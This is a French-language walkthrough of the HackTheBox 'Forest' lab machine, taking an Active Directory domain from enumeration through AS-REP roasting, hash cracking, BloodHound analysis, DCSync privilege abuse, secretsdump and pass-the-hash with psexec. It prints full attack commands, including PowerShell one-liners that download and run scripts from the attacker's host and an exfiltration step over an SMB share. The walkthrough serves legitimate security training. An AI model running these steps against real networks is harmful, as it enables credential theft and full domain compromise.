Forest – Write Up – Fr – HackTheBox

Forest est une box de HackTheBox. Elle est surtout accès à l’attaque sur Kerberos. Parfait pour ceux et celle qui veulent débuter ou se perfectionner dans ce type d’attaque. Elle est similaire dans son commencement avec Vulnnet : Roasted de TryHackMe  dont vous pouvez le write-up ici.       

Enumération

Comme à chaque début sur une box, il faut souvent commencer par énumérer avec nmap. On va utiliser l’option -T5 pour avoir une vue rapide des ports ouverts et ensuite faire d’autres scans plus précis. 

Commande :

nmap -T5 -p- 10.10.10.161

 

Comme le montre la capture, il y a plusieurs ports qui sont intéressants : 

53 – DNS

88 – kerberos

135 – RPC

139/445 – SMB

389 – LDAP

On va commencer par énumérer avec smbmap et smbclient voir si des partages sont accessibles 

Commandes :

smbmap -H 10.10.10.161

smbclient -L \\\\10.10.10.161

L’une comme l’autre nous montre qu’il n’y a pas de partage accessible en Anonymous. 

 

On continue l’énumération avec enum4linux qui va aussi vérifier la présence de partage, mais qui fait d’autre tester en plus dont notamment récupérer le SID du domaine, « Getting domain SIF for »  (information qui pourrait être importante) 

Et aussi la liste des utilisateurs présents sur le domaine.

 

Il est aussi possible d’utiliser nmap avec le script ldap-search.nse qui donne un résultat en tout cas sur cette box, plus clair.  On récupère la aussi les utilisateurs et le nom de domaine (HTB.local). On note aussi la présence d’objet relatif à Exchange.

Dump hash

On va tenter de récupérer le hash d’un ou plusieurs utilisateurs avec l’outil GetNPUsers.py  d’Impacket. En effet, comme nous avons Kerberos qui est utilisé pour gérer l’authentification, il est possible que pour certains utilisateurs, la pré-authentification soit désactivée.  

Commandes :

python GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request

 

HashCat

Pour casser le hash et récupérer le mot de passe, on va utiliser hashcat. (hash2.txt contient le hash précédemment récupérer.)

Commandes :

.\hashcat64.exe -m 18200 .\hash2.txt .\rockyou.txt

Pour afficher le contenu du potfile de Hashcat

.\hashcat64.exe -m 18200 .\hash2.txt –show

On va essayer de voir si la commande python GetNPUsers.py en incluant les nouveaux identifiants permet de récupérer d’autre hash. 

Commande :

python GetNPUsers.py htb.local/svc-alfresco:s3rvice -dc-ip 10.10.10.161 -request

même résultat… 

Enumération avec le compte de svc-alfresco

À nouveau smbmap et smblcient, on va voir si on peut cette-ci accèder à des partages.

Commande :

smbmap -H 10.10.10.161 -u svc-alfresco -p s3rvice

smbclient //10.10.10.161/SYSVOL ––user=svc-alfresco

Comme le partage SYSVOL est en lecture seule, on va l’explorer pour voir si on trouve des informations. Mais malheureusement, il n’y a rien…

Foothold

Par le biais de evil-winrm et avec les identifiants de svc-alfresco, on va se connecter sur le système.

Commandes :

ruby evil-winrm.rb -i 10.10.10.161 -u ‘svc-alfresco’ -p ‘s3rvice’

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> type user.txt

Enumération local et BloodHound

1 Winpeas

J’ai téléchargé et exécuté Winpeas.exe afin de voir si des possibilités d’escalade de privilège existaient, mais sans succès. 

Pour télécharger winpeas sur le système, il faut faire la commande suivante, en ayant mis en partage via Python ( python3 -m http.server ) winpeas.exe :

(new-object net.webclient).downloadfile(‘http://10.10.14.26:8787/winPEASx64.exe’, ‘c:\Users\svc-alfresco\desktop\winpeas64.exe’)

Exécution :

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> ./winpeas64.exe

2 BloodHound 

BloodHound permet de lister les différents droits et informations sur un domaine et ainsi de voir si on peut trouver une voie pour une escalade de privilège.

Téléchargement sur le système : 

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> iex(new-object net.webclient).downloadstring(« http://10.10.14.26:8787/SharpHound.ps1 »)

Exécution : 

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

On devrait normalement avoir deux fichiers. 1 zip et 1 bin

Récupération du fichier zip sur Kali

Mise en place d’un partage SMB sur Kali

smbserver.py share . -smb2support -username user -password user

Transfert :

net use \\10.10.14.26\share /u:user user

copy 20210519021443_BloodHound.zip \\10.10.14.26\share

Analyse avec BloudHound

Une fois BloodHound lancé, et une fois connecté, il faut ouvrir le fichier zip et aller en haut à gauche dans la barre de recherche et rechercher svc-alfresco

Une fois trouvé, il faut aller sur analysis, et prendre dans la liste le choix « Shortest Paths to Domain Admins from Owned Principals » 

 

On arrive avec ce graphique là.

Ce qu’il faut comprendre dans ce graphique, c’est que svc-fresco est membre de  « Service Account » , qui est membre de « Privileged IT Account » , qui est membre de « Account Operators« . Ce qui revient à dire que svc-fresco est membre de Account Operators. Et les opérateurs de compte ont le privilège « Generic All » sur le groupe « Exchange Windows Permissions group« .

En cliquant droit sur « Generic All » et sur « WriteDacl« , puis sur « help« , dans l’onglet abuse, on trouve comment et quelles commandes effectues pour créer  un utilisateur et lui donné des droits plus élevés. 

Escalade de privilège

Création d’un nouvel utilisateur (toujours avec winrm)

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user related 123456789 /add /domain

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group « Exchange Windows Permissions » related /add

Une fois, ces deux commandes effectuées, il faut donner des droits DCSync à notre nouvel utilisateur. Pour cela, on va utiliser PowerView.

Téléchargement : 

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> iex(new-object net.webclient).downloadstring(« http://10.10.14.26:8787/PowerView.ps1 »)

Il faut ensuite exécuter les commandes suivantes comme indiqué dans l’aide de BloodHound

$SecPassword = ConvertTo-SecureString ‘123456789’ -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(‘HTB\related’, $SecPassword)

Add-ObjectAcl -PrincipalIdentity related -Credential $Cred -Rights DCSync

Ensuite, il faut utiliser secretdump.py avec cette commande : 

python secretsdump.py htb/related@10.10.10.161

Psexec

En dernier lieu, il faut se connecter sur le système avec psexec pour récupérer le flag root.txt

python psexec.py administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

0 0 votes
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
Inline Feedbacks
View all comments